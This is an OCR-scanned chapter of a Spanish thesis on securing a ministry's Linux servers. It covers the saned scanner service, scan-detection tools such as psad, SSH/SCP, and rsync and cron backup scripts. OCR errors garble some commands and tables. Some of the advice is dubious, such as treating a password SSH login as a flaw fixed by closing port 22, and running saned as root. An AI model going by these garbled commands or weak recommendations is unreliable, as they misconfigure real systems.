[root@tesisrick ~]# yum -y install sane-backends sane-frontends xinetd

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

* rpmforge: fr2.rpmfind.net -

Figura 6.37: Descarga e instalacion de ficheros de la herramienta SANE.
Fuente: Autor de tesis.

Como se aprecia en la figura anterior se utilizé el comando YUM para completar la

instalacion del paguete SANE como se muestra en la figura.

root@tesisrick:~
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Running Transaction <
Installing : xinetd [1/11]

Installed: xinetd.i386 2:2.3.14-10.el5

Complete!
[root@tesisrick ~1# ||

Figura 6.38: Instalacion del paquete xinetd para SANE.
Fuente: Autor de tesis.
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# INSTALACION DEL CLIENTE XSANE

root@tesisrick:~
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[root@tesisrick ~]# yum -y install sane-backends sane-frontends xsane-gimp xsane*
sane-fronteds

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

* rpmforge: fr2.rpmfind.net

* base: mirrors.liquidweb.com v

Figura 6.39: Descarga e instalacion del paquete para el cliente de Xsane.
Fuente: Autor de tesis.

# CONFIGURACION DEL SERVICIO SANED
Se debe verificar que en el fichero /etc/sane.d/dll.conf esté habilitada la linea que

corresponde al controlador para escaner, es decir, “ net “.

= root@tesisrick:/etc/sane.d
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# enable the next line if you want to allow access through the network:

abaton
agfafocus
apple

Figura 6.40: Configuracion y verificacion de NET en el servicio SANED.
Fuente: Autor de tesis.

Ademas se afiade en el fichero /etc/sane.d/saned.conf la lista de direcciones IP

permitidas la conexion al servicio saned.
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#

# saned.conf

#

# The contents of the saned.conf file is a 1list of host names, IP
# addresses or IP subnets (CIDR notation) that are permitted to use local
# SANE devices. IPv6 addresses must be enclosed in brackets, and should
# always be specified in their compressed form.

#

# The hostname matching is not case-sensitive.

#

#scan-client.somedomain.firm

#192.168.0.1

192.168.1.4

#192.168.0.1/29

Figura 6.41: Configuracion del archivo saned.conf para indicar los host de escaneo.
Fuente: Autor de tesis.

Para que las aplicaciones y servicios puedan proporcionar una identificacion para

Saned es necesario agregar la siguiente linea con el respectivo puerto.



132

= root@tesisrick:/etc/sane.d f
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ido 60177 /udp # Ifmail
60179/tcp # Ifmail
id 60179/udp # Ifmail
saned 6566/tcp saned #SANE network scanner daemon

# Updated additional list from IANA with all missing services 01/24/2006

3/tcp # Compression Process
3/udp # Compression Process
27/tcp # NSW User System FE
27/udp # NSW User System FE
29/tcp # MSG ICP

29/udp # MSG ICP

31/tcp # MSG Authentication
31/udp # MSG Authentication

Figura 6.42: Configuracion mediante el ingreso del puerto para sane 6566/tcp.
Fuente: Autor de tesis.

Se debe crear el archivo /etc/xinetd.d/saned para dar acceso al servicio mediante
Xinetd.

= root@tesisrick:/etc/xinetd.d
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service saned
socket type = stream
server = /usr/sbin/saned
protocol = tcp
user = root
group = root
wait = no
disable = no

Figura 6.43: Acceso al servicio mediante Xinetd configurando este script.
Fuente: Autor de tesis.

Para activar el servicio de saned se utiliza chkconfig, el cual a su vez notificara al
servicio xinetd para que se inicien automaticamente al recibir cualquier peticion a

través del puerto 6566.
#chkconfig saned on

Si todo sali6 bien, se puede comprobar el funcionamiento utilizando el comando
telnet mediante el puerto 6566 del retorno del sistema, como se muestra en la

siguiente figura.

root@tesisrick:/etc/xinetd.d
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Trying 192.168.1.6...

Connected to 192.168.1.6 (192.168.1.6).

Escape character is '"]"'.

Connection closed by foreign host.
[root@tesisrick xinetd.d]# telnet localhost 6566
Trying 127.0.0.1...

Connected to localhost.localdomain (127.0.0.1).
Escape character is "~]". !

[»)

Figura 6.44: Prueba de conexion con el servidor saned mediante el puerto 6566.
Fuente: Autor de tesis.
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# CONFIGURACION DEL CLIENTE XSANED

El altimo paso es configurar el cliente Xsane, para esto se debe especificar en el
fichero /etc/saned.d/net.conf la direccidn IP del servidor recién configurado., como

se muestra en la siguiente figura.

root@tesisrick:/etc/xinetd.d
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# If you list "localhost" then your backends can be accessed either
# directly or through the net backend. Going through the net backend
# may be necessary to access devices that need special privileges.
# localhost
192.168.1.1
6,11 Final [~

Figura 6.45: Configuracion en el fichero net.conf la direccion del servidor al cual se conectara el cliente.
Fuente: Autor de tesis.

Una vez realizado esto, los equipos clientes deberan detectar autométicamente el

escaner en el servidor.
6.3.2.2. COMO DEFENDERSE DE LOS SCANERS.

Los scanners pueden ser beneficiosos y perjudiciales a la vez, todo depende de
quién lo esta utilizando. Los scanners seleccionan a que servidores pueden
atacar, es por esto, que es conveniente conocer la deteccion de scanners. De
esta manera se podra saber por lo menos lo que se esta realizando en el sistema

a pesar de no poder evitar el ataque.
# courtney (detector de SATAN y SAINT)

Este script fue creado con lenguaje Perl que, junto con Tcpdump, detecta los
rastreos de SATAN y SAINT. Ademas registra las advertencias en formato syslog

ALERT vy los reportes se pueden ver en el siguiente PATH:
/var/log/messages.
Para ejecutar courtney, se introduce el siguiente comando:

$ courtney.pl

Para el ejemplo se ejecuta Courtney y se inicia un rastreo de SAINT. A medida
que avanza el rastreo, la herramienta guarda cada actividad en la ruta

anteriormente descrita.
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Icmpinfo (detector de ratreos / bombas ICMP)

Esta aplicacion ayuda a detectar alguna actividad sospechosa en ICMP, como
bombas y rastreos. Para utilizarlo se procede a instalar la herramienta y luego

configurarlo.
Para ejecutar la herramienta se ingresa el siguiente comando:
#icmpinfo -vv

De esta manera se logra vigilar tanto el trafico entrante como el saliente y es muy

facil de configurar.

Como conclusion se agrega que los scanners son valiosas herramientas de
evaluacion de hosts, pero tienen 2 riesgos principales que se deberian evitar,

estos son:

Que los atacantes pueden utilizarlos para determinar las debilidades de un
sistema de seguridad

Se puede confiar demasiado en los scanners.

# Psad

Es un grupo de 3 demonios para sistemas escritos en Perl y C que estan
disefiados para trabajar con el sistema de cortafuegos de Linux “iptables”, la

funcién principal es detectar los port scans y otros traficos sospechosos.

Tiene la funcionalidad de detectar, alertar y bloquear los port scans. Es una

aplicacién muy potente si se la sabe utilizar.

INSTALACION

Se debe obtener el fichero psad-2.1.7.tar.bz2, el cual esta comprimido y
empaquetado. Para descomprimirlo y desempaquetarlo y obtener la carpeta psad-
2.1.7 se ejecuta el siguiente comando:
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[root@tesisrick Desktop]# tar -xvf psad-2.1.7.tar.bz2

&) 46% de 1 archivo - Descargas HEEE root@tesisrick:/home/rick/Desktop/psad-2.1.7
 psad-2.1.7.tarbz2 e " Archivo Editar Ver Terminal Solapas Ayuda
| - e | config vars.conf Kkmsgsd.8 psad.conf snort_rule_dl

B config vars.pl kmsgsd.c psad_funcs.c strlcat.c
EE CREDITS LICENSE psad.h stricpy.c
deps logrotate.psad psadwatchd TODO
fwcheck psad.8 Makefile psadwatchd.8 VERSION

fwcheck psad.pl nf2csv psadwatchd.c
FW_EXAMPLE_RULES nf2csv.1l pscan
FW_HELP packaging README

[root@tesisrick psad-2.1.7]# ./in
init-scripts/ install.pl
[root@tesisrick psad-2.1.7]# ./install.pl I

Figura 6.46: Instalacion de la herramienta PSAD mediante un fichero tar.bz2.
Fuente: Autor de tesis.

Luego de ejecutar el anterior comando se instalara el paquete Psad, y permitira

configurar los principales pardmetros que necesita el demonio para el correcto
funcionamiento.

= root@tesisrick:/home/rick/Desktop/psad-2.1.7 sl g
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[»]

root@localhost
[+] Would you like alerts sent to a different address ([yl/n)?

[+] To which email address(es) would you like psad alerts to be sent?
You can enter as many email addresses as you like; each on its own line.

End with a "." on a line by itself. -

Email Address: ricardo@miduvi.gob.ecl [~]

Figura 6.47: Ingreso de mail de reportes y alertas en el proceso de instalacion del paquete.
Fuente: Autor de tesis.

Como se visualiza en la figura anterior se esté indicando el correo al cual pueden
llegar las alertas que se generen en una determinada busqueda.
Para finalizar la instalacion se procede a iniciar y detener el demonio para verificar

que puede ser utilizado sin ningan problema.

root@tesisrick:/home/rick/Desktop/psad-2.1.7
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[root@tesisrick psad-2.1.7]# /etc/init.d/p

pand pcscd portmap psacct psad

[root@tesisrick psad-2.1.7]# /etc/init.d/psad start

Starting psad:

[root@tesisrick psad-2.1.7]# /etc/init.d/psad start

Starting psad: [*] /usr/sbin/psad process is already running! Exiting.

[*]

[root@tesisrick psad-2.1.7]# /etc/init.d/psad stop
[+] Stopping psadwatchd, pid: 6062 B
[+] Stopping psad, pid: 6060 3
[root@tesisrick psad-2.1.7]1# I =

Figura 6.48: Inicio del demonio PSAD para la verificacion que la aplicacién funciona correctamente.
Fuente: Autor de tesis.
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6.3.3. PROTECCION Y RESPALDO DE DATOS.

Muchos son los riesgos que puede correr una red si no se tiene un plan de
proteccion o respaldo de datos en caso de una emergencia.

Ademas de esto muchos servicios de red pueden resultar vulnerables a las
escuchas electronicas, sniffers, scanners, etc. Esto representa un problema
importante, ya que, incluso en un entorno de red cerrado, debe existir un medio
seguro para mover archivos, establecer permisos, ejecutar scripts de Shell, etc.
Aqui se presentan algunas alternativas para dar solucion a los problemas

anteriormente mencionados.

6.3.4.1 SECURITY SHELL PARA INTERCAMBIO DE DATOS

Security Shell es un sistema de inicio de sesidn seguro y la evolucion efectiva de
telnet, rlogin, rsh y rcp.

SSH admite varios algoritmos, entre los cuales se incluyen:

BlowFish: es un esquema de cifrado de 64 bits, se suele utilizar para realizar

gran cantidad de cifrados a alta velocidad.

Triple DES: Data Encryption Estandar (Norma de Cifrado de Datos), es un
sistema de IBM desarrollado en 1974, es el estandar del gobierno estadounidense

para cifrar datos no clasificados.

IDEA: International Data Encryption Algorithm, un eficaz algoritmo de cifrado de

blogues que funciona con una clave de 128 bits. Es muy seguro.

RSA: Rivest-Shamir-Adelman, es un sistema criptografico de claves

publicas/privadas ampliamente utilizado.

SSH incorpora la compatibilidad con estos algoritmos, para crear un producto mas
flexible y ampliable. La arquitectura de ssh se tal que al protocolo basico le da
igual el algoritmo que se utilice, por lo tanto es posible cambiar rapidamente de

uno a otro sin modificar el protocolo clave y las funciones de ssh.
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El cliente ssh permite varias opciones en linea de comandos, éstas son:

OPCION FUNCION

-a Especifica que ssh no debe utilizar el envio de autenticacion de agentes.

-c cifrado Especifica el cifrado que se desea utilizar.

-e car Especifica un caracter de escape alternativo.

4 Sirve para que ssh se ejecute en segundo plano una vez que se ha autenticado la
sesion.

-i archivo Especifica un archivo de identidades.

-l usuario Especifica el usuario que inicia la sesién.

-n Sirve para redireccionar la entrada desde /dev/null.

-p puerto Especifica el puerto al que debe dirigirse ssh (22)

-P Especifica que ssh debe utilizar un puerto de origen sin privilegios.

-q Se utiliza para enviar ssh al modo quiet.

" Sirve para indicar a ssh que abra una tty, aun cuando ya vaya a enviar un solo
comando

-V Especifica una salida de depuracidn detallada.

X Sirve para desactivar el envio de X11.

Tabla 6.2: Tabla con cuadro de opciones y funciones disponibles en la ejecucién de un spofing.
Fuente: Autor de tesis.

Ejemplo: Conexion mediante ssh
La forma de utilizar ssh es realmente facil, basta con definir la direccion IP a la

cual se requiere acceder y se antepone “ssh”, como se muestra en la figura.

root@savmiduvi:~ B
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[+]

[rick@tesisrick ~]% su

Contrasefia:

[root@tesisrick rick]# ssh 201.219.3.17
root@281.219.3.17"'s password:

Last loginm: Mon Nov 22 14:38:63 2018 from 186.42.85.682
[root@savmiduvi ~]# 1s

anaconda-ks.cfg install.log

Desktop install.log.syslog

ifcfg-ethd phpMyAdmin-3.3.3-all-languages.tar.gz
index.html

[root@savmiduvi ~]# ol

Figura 6.49: Conexion SSH al servidor mediante el comando ssh + direccion IP.
Fuente: Autor de tesis.

Si se puede observar el prompt de la consola, se logré acceder a [root@savmiduvi

J#, lo cual provee el control total del servidor.

La solucién a esta falla de seguridad es muy simple, sencillamente bloquear o

cerrar el puerto 22 que es el que permite iniciar la sesién con SSH.
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6.3.4.2. SCP: COPIA SEGURA DE DATOS REMOTOS.

Esta herramienta permite copiar archivos entre hosts utilizando una autenticacion
y un cifrado transparentes de ssh. Siempre que sea posible se recomienda la
utilizacion de SCP.

Sintaxis
usuario@hostl:nombre_de_archivo usuario@host2:nombre_de_archivo

Las opciones para SCP se resumen en la siguiente figura.

OPCION FUNCION

-A Desactiva las estadisticas de los archivos individuales.

-a Activa las estadisticas de los archivos individuales.

-c cifrado Especifica el cifrado que se va a utilizar para la transferencia.
-i archivo Especifica un archivo de identidades alternativo.

-L puerto Especifica que scp debe utilizar un puerto de origen sin privilegios.
-0 opciones ssh  |Sirve para pasar las opciones extendidas de ssh a ssh.

-P puerto Especifica el puerto de host remoto al que se dirige scp.

-q Desactiva las estadisticas de la sesion.

-Q Activa las estadisticas de la sesion.

-r Especifica que scp debe copiar los directorios recursivamente.
v Especifica que scp debe ejecutarse en modo personalizado.

Tabla 6.3: Tabla con cuadro de opciones y funciones con Shell Secure.
Fuente: Autor de tesis.
La ventaja de la herramienta es que es multiplataforma y que en la actualidad

existen interfaces muy amigables para lograr una conexion de Shell segura.

En la siguiente figura se puede apreciar la conexion desde un equipo Windows a
un servidor Linux, en el intercambio de archivos de un servidor web. Se realiza

muy facilmente y en pocos segundos se transfiere los ficheros.

WinSCP Login @E
Session Session
Stored sessions Host name: Pt number:
Logging 192.168.4.29 23
Environment
Directories User name: Passward:
SFTP root ssssssass
SCPAShel
Eon;ecllon Private key file:
1oy [
Tunnel
S5H
Key exchange Protocal
Authentication File pratocol SFTP | [¥] Allow SCP fallback
Eugs
Preferences

Advanced options

() (o] (o]

Figura 6.50: Pantalla principal de la herramienta WinSCP al momento de realizar una conexion.
Fuente: Autor de tesis.
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En la siguiente figura, en la columna izquierda se encuentra los directorios de
Windows, mientras que en la parte derecha se encuentra el servidor web bajo
Linux, el cual recibe los ficheros cuando existen cambios o actualizaciones en el

servidor.

2 g root - rooled 92.168.4.23 - WinsCP

Local Mark Fies Commands Secdon Opbons Ramote Help

o - S e W EW CARL: Defaul M X
LMy document + (5 Gl Ga 3 [ T i©met - i 30 A
E——
M Ext Size Type L Marie Est Size Chan
a. Parerk drectory &, T o
Jbass madar actuabzada Carpata = 3105
I CERTIFICADOS-2007 Carpeta = ooz
() copiafiD Carpeta | 3105
L Descargas Capeta o oI
ICD X Studios Capata | o110
ICWDVidecSeft Carpeta = w00z
\)Electronica. Mutimedia-... Carpeta | a0f0e
) JORGE Carpeta ) s
lose & quy Carpeta | T
M ek Capeta = w0z
A Mi midsica Carpeta ) 0ps
(5] Mlis: anchivess de crigen ... Corpeta o 00e
Mis archives rechidas Carpeta o ] 2005
< * € >
0B of 33767 KB inof 43 DB ol 4743 KB in0 of 36
S FT Creste Directory L Fro guie
=] SFTP-3 I 000 a8

Figura 6.51: Transferencia de archivos de Windows a Linux utilizando WinSCP.
Fuente: Autor de tesis.
Como se puede observar, en los 2 equipos se tiene la misma estructura para los
directorios que alojaran las aplicaciones web instaladas en el servidor, cada vez
gque se realizan nuevas modificaciones se deberan arrastrar de izquierda a

derecha con los archivos correspondientes para reemplazarlos en el servidor.

not@] 92,1 68,4, 23 - WinSCP

Local Mark Fies Commands Session Options Remote Help

O - mEe WP BRI ) Default BT £
e C: Disco local -G e o v e M Cyconsibars <3 e = I W
[ s webheomeubor: = L mibimliconsues

Nasme Esit Sizm  Type Changad ALte Name Ext Sizs  Changed Rights
=, Parert drectory  30/0%[201..., . ZUL20I0 1T, rwrwm
Cinchude Campeta /05201 Oiindude 20/10/2000 15, vty
=indax.php 971 PR Seript 00820 & = indes.php LE3 0132000 94, rwr—r--
¢ M 3

OB of 571 Bin( of 2 .EIBc-‘IBJDBmEIDfZ

F F7 Creabe Drectory L F10 Quit

&  sFTP3 1 D036

Figura 6.52: Envio de archivos al servidor web.
Fuente: Autor de tesis.
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6.3.4.3. COPIAS DE SEGURIDAD COMO PLAN DE CONTINGENCIA

Es muy importante tener un plan de respaldo y copias de seguridad de datos en
cualquier institucion o empresa, ya que existen una variedad de causas para que

la informacién alojada en los servidores pueda dafarse o aun perderse.

Realizar copias de seguridad de todos los datos importantes de una institucion es
un seguro econdémico contra potenciales desastres que pueden suscitarse y a la

vez pueden resultar muy costosos solucionarlos o repararlos.
# RSYNC

Existen datos muy importantes y vitales en una empresa o institucion que
necesariamente hay que identificarlos, para poder tomar accion con cualquier

herramienta de respaldo y copias de seguridad.

La utilidad Rsync es una copia de un programa disefiado para replicar grandes
cantidades de datos. Una de las ventajas es que puede encriptar las

transferencias de datos con ssh, haciendo el proceso mas rapido y mas seguro.

Sintaxis
# rsync opciones origen destino
En la siguiente lista se describen las principales opciones que se pueden utilizar

en la linea de comandos:

OPCION FUNCION

-a: Archivo Desactiva las estadisticas de los archivos individuales.

-b Hace copias de seguridad de todos los archivos destino en lugar de sustituirlos.
D Se usa cuando se replican sistemas de archivos. Solo como root.

-g Preserva los permisos de grupo de los archivos que se estan duplicando.
H Preserva los enlaces. Esta opcidon hace que rsync vaya mas lento.

| Copia enlaces simbdlicos como enlaces simbolicos. Muy utilizada.

n muestra los archivos que se tranferiran, pero no los que se estan tranfiriendo
0 Preserva la autoria de usuario de los archivos replicados.

-p Preserva los permisos de archivos.
7

t

v

Activa la recursividad, transfiriendo todos los subdirectorios.

Preserva la hora de modificacion de cada archivo. Incluido en -a.
Lista los archivos que se estan transfiriendo.

- Igual que -v, pero ademds lista los archivos que se ignoran.
-VWV Igual que -vv, pero imprime informacién e depuracion de rsync.
-z Activa la compresidn, mas util sobre Internet que sobre una LAN.

Tabla 6.4: Tabla con el cuadro de opciones y funciones de la herramienta Rsync.
Fuente: Autor de tesis.
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Como se visualizé en el cuadro anterior, existen muchas opciones que se pueden

utilizar con esta aplicacion.

Ejemplo: Script para genera copia de seguridad de usuario.

= rick@tesisrick:~/Desktop [l
Archivo Editar Ver Terminal Solapas Ayuda

#! /bin/bash

export RSYNC_RSH=/usr/bin/ssh
dest=consultabonos
user=$(whoami)

cd exit 1

#echo suser

rsync -aHPvz . s{user}@s{dest}:.

11 Tado
Figura 6.53: Script para realizar una copia de seguridad utilizando Rsync.
Fuente: Autor de tesis.
Lo que se pretende realizar en este ejemplo es un bash script sencillo que genera
una copia de seguridad desde el escritorio del usuario al servidor de copias de
seguridad. El servidor estd definido en la variable “dest”, la variable user esta
asignada al nombre del usuario de la cuenta que ejecuta el script, el comando
‘cd” cambia al directorio personal del usuario. La variable de entorno

RSYNC_RSH contiene el nombre de la Shell de rsync utilizara.

Al ejecutar el script se generara una réplica de los archivos del directorio personal

del usuario que lo ejecutara.

—
|B.

= root@dhcppc3:/home/rick/Desktop l;] |[_

o
(k3

Archivo Editar Ver Terminal 5olapas Ayuda

449 1008% 1.08kE/s 0:00:00 (xfer#713, to-check=6/1032)
NetBeansProjects/primero/nbproject/
NetBeansProjects/primero/nbproject/project.properties

132 100% 0.30kB/s 0:00:00 (xTer#714, to-check=4/1032)
NetBeansProjects/primero/nbproject/project.xml

309 100% B.67KB/s 0:00:00 (xTer#715, to-check=3/1032)
NetBeansProjects/primero/nbproject/private/
NetBeansProjects/primero/nbproject/private/private.properties

129 100% 0.25kB/s 0:00:00 (xTer#716, to-check=1/1032)
NetBeansProjects/primero/nbproject/private/private.xml

207 1008% 0.40kB/s 0:00:00 (xfer#717, to-check=0/1032)

[»]

sent 38740033 bytes received 21478 bytes 0957874.15 bytes/sec
total size is 85653801 speedup is 2.21
[root@dhcppc3 Desktopl# D

Figura 6.54: Detalle de los resultados luego de la ejecucion del script.
Fuente: Autor de tesis.

Rsync indica el numero de archivos que considera en la copia, ya que puede o0 no
tomar en cuenta a todos los archivos porque no fueron alterados o modificados.
También se indica el progreso de avance para saber si la transferencia tuvo o no

éxito.
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6.3.4.4. COPIAS DE SEGURIDAD AUTOMATIZADAS.

Es algo elemental que estas copias pueden ser automatizadas utilizando scripts
similares, como por ejemplo el demonio Cron o mejor aun utilizar el programa

Crontab.

Ademas se puede ejecutar un script de tarea en el servidor, para hacer copias de
seguridad en otro. Estas copias pueden ser facilmente transferidas a algun lugar

seguro o medio extraible como CD, DVD, memoria flash, etc.
Ejemplo utilizando “Cron”

El primer paso es verificar si esta instalado el servicio con cualquiera de los
siguiente comandos: # /etc/rc.d/init.d/crond status O # service crond status, al
realizar esto debe mostrar el mensaje que el servicio esta ejecutandose como se

muestra en la figura.

root@tesisrick:~

Archivo Editar Ver Terminal Solapas Ayuda

[root@tesisrick ~]# service crond restart

Parando crond: [ 0K 1]
Iniciando crond: [ 0K 1
[root@tesisrick ~]# /etc/rc.d/init.d/crond status

Se esta ejecutando crond (pid 6489)...

[root@tesisrick ~]# service crond status

Se esta ejecutando crond (pid 6489)...

[root@tesisrick ~1# ||

Figura 6.55: Ejecucidn del comando para la inicializacién de cron.
Fuente: Autor de tesis.

Luego de verificar que el servicio esta corriendo sin problemas, se debe identificar
los archivos cron.* que se encuentran en el directorio /etc/ , en los cuales se
crearan los scripts a ejecutarse cada hora, cada dia, cada semana y cada mes,

como se muestra en la siguiente figura.

= root@tesisrick:~ ElEE
Archivo Editar Ver Terminal Solapas Ayuda

[root@tesisrick ~]# 1s /fetc/ | grep cron
anacrontab

cron.d

cron.daily

cron.deny

cron.hourly

cron.monthly

crontab

cron.weekly

[root@tesisrick ~]#

Figura 6.56: Verificacion de archivos cron.* en el directorio /etc/
Fuente: Autor de tesis.
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Para este ejemplo se creara un script de respaldo para la pagina web de consulta
bonos del MIDUVI, en el directorio /etc/cron.hourly/.

rick@tesisrick:/etc/cron.hourly

Archivo Editar Ver Terminal 5Solapas Ayuda

B /bin/bash

#5cript que genera un respaldo
cd /home/rick/paginaweb

tar czf * respaldo

cp respalde /home/rick/Desktop/

"pruebarespaldo.sh" 5L, 119C 1,1 Todo

Figura 6.57: Script para generar un archivo de respaldo cada hora.
Fuente: Autor de tesis.

Ademas se debe dar permisos necesarios para que se pueda ejecutar como tarea

programada, asi que se procede a utilizar el comando que se muestra en la figura.

= root@tesisrick:/home/rick/Desktop ==
Archivo Editar Ver Terminal Solapas Ayuda

[root@tesisrick Desktop]# 1s -la | grep pruebarespaldo.sh
-rw-r--r-- 1 root root @ nov 23 11:58 pruebarespaldo.sh
[root@tesisrick Desktopl# chmod 700 pruebarespaldo.sh
[root@tesisrick Desktopl# 1s -la | grep pruebarespaldo.sh
STWX---- - - 1 root root ® nov 23 11:58 pruebarespaldo.sh
[root@tesisrick Desktopl# [l

Figura 6.58: Verificacion de los archivos creados por el anterior script.
Fuente: Autor de tesis.

Para finalizar se comprueba que el archivo se encuentre en el directorio
letc/cron.hourly/ y luego de una hora un minuto el servicio llamara al script y

creara el archivo comprimido para poder generar un fichero de respaldo.

12:25 Q)

rick@tesisrick:/ete/cron.hourly

Archive Editar Ver Terminal Solapas Ayuda

cron.d/ cron.deny cron.monthly/ cron.weekly/
cron.daily/ cron.hourly/ crontab

[root@tesisrick Desktopl]# mv pruebarespaldo.sh /etc/cron.hourly/
[root@tesisrick Desktopl# cd /etc/cron.hourly/

[root@tesisrick cron.hourly]# 1s

pruebarespaldo.sh

[root@tesisrick cron.hourly]# time

Figura 6.59: Verificacion de la hora en que se ejecuto la aplicacion.
Fuente: Autor de tesis.
Como se menciond anteriormente existe una herramienta llamada Crontab que
permite realizar muchas mas acciones. Para explicar de mejor manera se realizar
un script que ejecute un comando para generar un archivo como respaldo de
varios archivos que en un ambiente de produccion podrian ser bases de datos,

directorios, ficheros importantes, etc.
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El primer paso sera verificar el contenido del archivo Crontab como se muestra

en la siguiente figura.

=@ root@tesisrick:/home/rick/Desktop [= J:!:j} x
Archivo Editar Ver Terminal Solapas Ayuda

PATH=/sbin:/bin:/usr/sbin:/usr/bin :f

MAILTO=root

HOME=/

# run-parts

01 * * * * root run-parts /etc/cron.hourly
82 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly —
42 4 1 * * root run-parts /etc/cron.monthly [
[root@tesisrick Desktopl# [] =

Figura 6.60: Archivo de configuracion de Crontab para generar respaldo programados.

Fuente: Autor de tesis.

Como se puede ver, estan las llamadas a los archivos “ cron.* ”, que son los que

ejecutan los scripts que anteriormente se explicé.

Para realizar una nueva tarea programada se debe afadir una linea que indique

el tiempo, el propietario y el comando a ejecutarse. Para entender de mejor forma

se expone el siguiente cuadro con las principales opciones de Crontab.

Mirmto Hora DiaDelMes Mes DiaDelafemana Usuario Comando

Campo I Descripcidn

Minuto Controla el minuto de la hora en que el comando serd ejecutado, este valor debe de estar
entre 0 v 59,

Hara Contraola la hora en que el comando serd ejecutado, se especifica en un formato de 24 horas,
los valores deben estar entre 0 v 23, 0 es medianoche.

. Dia del mes en que se quiere ejecutar el comando, Por ejemplo se indicaria 20, para ejecutar

Dia del Mes ?
el comando el dia 20 del mes.

Mes Mes en que el comando se ejecutara, puede ser indicado numéricamente {1-123, o por el
nombre del mes en inglés, solo las tres primeras letras,

Dia de la Dia en la semana en que se ejecutara el comando, puede ser numerico {0-73 o por el nombre

semana del dia en inglés, solo las tres primeras letras. {0 v 7 = domingo)

[Usuaria [usuario que ejecuta el comando.

comando Comando, script o programa que se desea ejecutar. Este campo puede contener miltiples
palabras v espacios.

Tabla 6.5: Tabla de opciones y descripcion de funcionalidades de Crontab.
Fuente: http://www.linuxtotal.com.mx/index.php?cont=info_admon_006.

Luego de verificar que crontab este corriendo en el servidor sin ningin problema,

se procede a crear la tarea programada para empaquetar y comprimir un

directorio el cual contiene la aplicacion web para consulta de bonos de vivienda.

La siguiente figura detalla el comando generado.
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= rick@tesisrick:/etc (=o)X
Archivo Editar Ver Terminal Solapas Ayuda
# run-partfg =
01 * * * * root run-parts /etc/cron.hourly

02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
# script generado por rick
01 * * * * root tar -czvf /home/rick/backups/backupweb.tar.gz /home
/rick/paginaweb
6,11 83%

Figura 6.61: Comando para generar un archivo de resplado de tipo .tar cada hora.
Fuente: Autor de tesis.

Se procede a guardar los cambios y se reinicia el servicio.

root@tesisrick:/etc

Archive Editar Ver Terminal Solapas Ayuda

[root@tesisrick etcl]# service crond restart e
Parando crond: [ OK 1]
Iniciando crond: [ OK 1

[root@tesisrick etc]#

Figura 6.62: Reinicio del servicio crontab mediante el comando service crond restart.
Fuente: Autor de tesis.
Ahora en la siguiente figura se pueden verificar los resultados, en la cual se
crearan los nuevos ficheros empaquetados y comprimidos en la carpeta
/home/rick/backups/, o que permitira tener un respaldo de la informacion mas

importante que maneje la institucion.

|14:00/ Q) . 3 rick@tesisrick:~/backups - g%
.lmartes. 23 de noviembrel\elrlcklblckups [-][@][x] Archivo Editar Ver Terminal Solapas Ayuda
Archivo Editar Ver Terminal Solapas Ayuda [rick@tesisrick backups]s 1s -1 =
[root@tesisrick backups]# ls -1 [+] total 804
total © -rw-r--r-- 1 root root 816137 nov 23 15:01
[root@tesisrick backups]# 1s -1 backupweb.tar.gz
total @ [rick@tesisrick backups]$

[root@tesisrick backups]# D

rick@tesisrick:~/backups

Archivo Editar Ver Terminal Solapas Ayuda

[rick@tesisrick backups]$ 1s -1 =
total 804

-rw-r--r-- 1 root root 816137 nov 23 15:01
backupweb.tar.gz

[rick@tesisrick backups]s 1s -1

total 8604

-rw-r--r-- 1 root root 816137 nov 23 16:01 =
backupweb.tar.gz
[rick@tesisrick backups]s [J =]

Figura 6.63: Verificacion de las copias de seguridad generadas cada hora en el directorio /backups.
Fuente: Autor de tesis.
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6.4. SOLUCION 4: DESARROLLO DE UNA APLICACION WEB
ENFOCADO A LA SEGURIDAD DE LA INFORMACION.

Al tener las bases de datos de los beneficiarios que recibieron un incentivo de
vivienda migradas a MySQL, se puede realizar varias aplicaciones orientadas a la

WEB que controlen, administren y gestionen estos datos.

Luego del analisis de requerimientos (véase Anexo B - Analisis de
Requerimientos) se defini6 que es necesario desarrollar 3 aplicaciones que se

detallan a continuacion:

Interfaz de consulta del bono de vivienda.- Esta aplicacion sirve para
gue entidades financieras, promotores inmobiliarios, oferentes de vivienda
y publico en general puedan consultar si alguna persona ya recibid algin
incentivo de vivienda en el MIDUVI.

Interfaz de consulta para la accesibilidad al bono de vivienda.- La
aplicacion de accesibilidad esta dirigida para las personas que aun no han
recibido el bono de vivienda y que necesitan conocer si son aptas para

postular al incentivo de vivienda.

Mdédulo para el control y seguimientos de proyectos de vivienda del
area rural.- Este médulo es esencial para el seguimiento de los proyectos
que se ejecutan en el Ministerio, ya que abarca desde la emisién del bono
hasta el acta entrega recepcién del mismo.

6.4.1. INTERFAZ DE CONSULTA DEL BONO DE VIVIENDA.

Este primer aplicativo esta realizado en PHP y comprende la relacién con la tabla
“tbnacional”’, que contiene los registros de beneficiarios del bono de vivienda

alojado en el motor de MySQL.
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INSTALACION DEL DEMONIO HTTPD Y EL MOTOR MYSQL EN EL
SERVIDOR QUE ALOJARA LA APLICACION DE CONSULTA BONOS.

La instalacion de del servidor web Apache y el motor de base de datos MySQL en

el servidor bajo Linux se realizara de la siguiente manera:

Se ejecuta: # yum install httpd

root@tesisrick:~

Archive Editar Ver Terminal Solapas Ayuda

[root@tesisrick ~]# yum install httpd
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* rpmforge: apt.sw.be
* base: centos.omnispring.com
* updates: repo.genomics.upenn.edu
#* addons: centos.pop.com.br
* extras: Ttp.ussg.iu.edu
primary.xml.gz 66% [=========- ] 65 kB/s | 1.5 MB

00:11 ETA

Figura 6.64: Instalacion del servicio web con el comando yum install httpd.

Fuente: Autor de tesis.

Luego descargara los complementos y paquetes necesarios y se debe proceder a

configurar el servidor web en la siguiente ruta:
# vim /etc/httpd/conf/httpd.conf

La configuracion principal para que el servidor pueda alojar la aplicacion de

consulta de bonos debe configurarse como se ve en la siguiente figura.

User apache
Group apache

#ServerAdmin joinic@localhost
5 rAdmin administrador@miduvi.gov.ec

UseCanonicalName Off

#DocumentRoot "/var/www/"
#DocumentRoot "/var/www/ejemplosphp"
DocumentRoot "/var/www/consultabonos"

#<Directory "/var/www/ejemplosphp/">
<Directory "/var/www/consultabonos/">

